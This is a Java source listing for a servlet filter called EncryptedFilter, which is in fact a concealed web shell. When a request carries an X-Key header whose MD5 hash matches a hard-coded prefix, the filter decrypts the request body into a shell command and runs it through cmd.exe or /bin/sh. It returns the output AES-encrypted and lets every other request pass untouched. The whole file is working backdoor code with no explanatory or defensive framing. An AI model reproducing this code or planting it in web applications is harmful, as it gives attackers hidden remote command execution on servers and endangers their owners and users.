1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98
| import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.*; import java.io.*; import java.util.Base64;
public class EncryptedFilter implements Filter {
private static final String PASSWORD_MD5_PREFIX = "cc03e747a6afbbcb";
@Override public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) resp;
String auth = request.getHeader("X-Key"); if (auth == null || !md5(auth).substring(0, 16).equals(PASSWORD_MD5_PREFIX)) { chain.doFilter(req, resp); return; }
try { String key = md5(auth).substring(0, 16);
byte[] body = readAll(request.getInputStream()); byte[] decoded = Base64.getDecoder().decode(body); byte[] decrypted = aesDecrypt(decoded, key); String cmd = new String(decrypted, "UTF-8");
String os = System.getProperty("os.name").toLowerCase(); String[] cmds = os.contains("win") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; Process p = new ProcessBuilder(cmds).redirectErrorStream(true).start(); byte[] output = readAll(p.getInputStream()); p.waitFor();
byte[] encrypted = aesEncrypt(output, key); String result = Base64.getEncoder().encodeToString(encrypted);
response.setContentType("text/html"); response.getWriter().write(result);
} catch (Exception e) { response.setStatus(500); response.getWriter().write("Internal Server Error"); } }
private byte[] aesEncrypt(byte[] data, String key) throws Exception { Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(data); }
private byte[] aesDecrypt(byte[] data, String key) throws Exception { Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding"); c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(data); }
private String md5(String input) throws Exception { java.security.MessageDigest md = java.security.MessageDigest.getInstance("MD5"); byte[] d = md.digest(input.getBytes("UTF-8")); StringBuilder sb = new StringBuilder(); for (byte b : d) sb.append(String.format("%02x", b & 0xff)); return sb.toString(); }
private byte[] readAll(InputStream in) throws IOException { ByteArrayOutputStream out = new ByteArrayOutputStream(); byte[] buf = new byte[4096]; int n; while ((n = in.read(buf)) != -1) out.write(buf, 0, n); return out.toByteArray(); }
@Override public void init(FilterConfig c) {} @Override public void destroy() {} }
|